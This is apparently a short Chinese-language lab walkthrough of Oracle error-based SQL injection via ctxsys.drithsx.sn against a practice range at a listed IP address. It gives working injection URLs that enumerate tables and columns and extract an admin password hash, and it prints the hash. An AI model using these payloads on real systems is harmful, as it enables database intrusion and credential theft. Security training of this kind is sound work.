Oracle报错注入原理
通过ctxsys.drithsx.sn(user,查询语句)函数来根据页面报错获取我们需要的内容
注意事项:
1.oracle数据库在查询时,必须写表名,如果表不存在可以使用虚表 dual
2.Oracle数据库的字段数据类型是强匹配,必须保持数据类型相同
3.Oracle系统表 all_tables、user_tables、all_tab_columns、user_tab_columns
4.oracle限制查询结果返回的数量用rownum
靶场:http://59.63.200.79:8808/?id=1
拿表名
http://59.63.200.79:8808/?id=1 and 1=ctxsys.drithsx.sn(‘user’,(select table_name from (select table_name,rownum r from user_tables) where r=3))
发现Admin,news,md5 三个表
拿admin中的字段
http://59.63.200.79:8808/?id=1 and 1=ctxsys.drithsx.sn(‘user’,(select column_name from (select column_name,rownum r from user_tab_columns) where r=2))
发现UNAME,UPASS,MD5等字段,我们拿UPASS中的数据
http://59.63.200.79:8808/?id=1 and 1=ctxsys.drithsx.sn(‘user’,(select upass from (select upass,rownum r from admin) where r=2))
拿到数据
2a61f8bcfe7535eadcfa69eb4406ceb9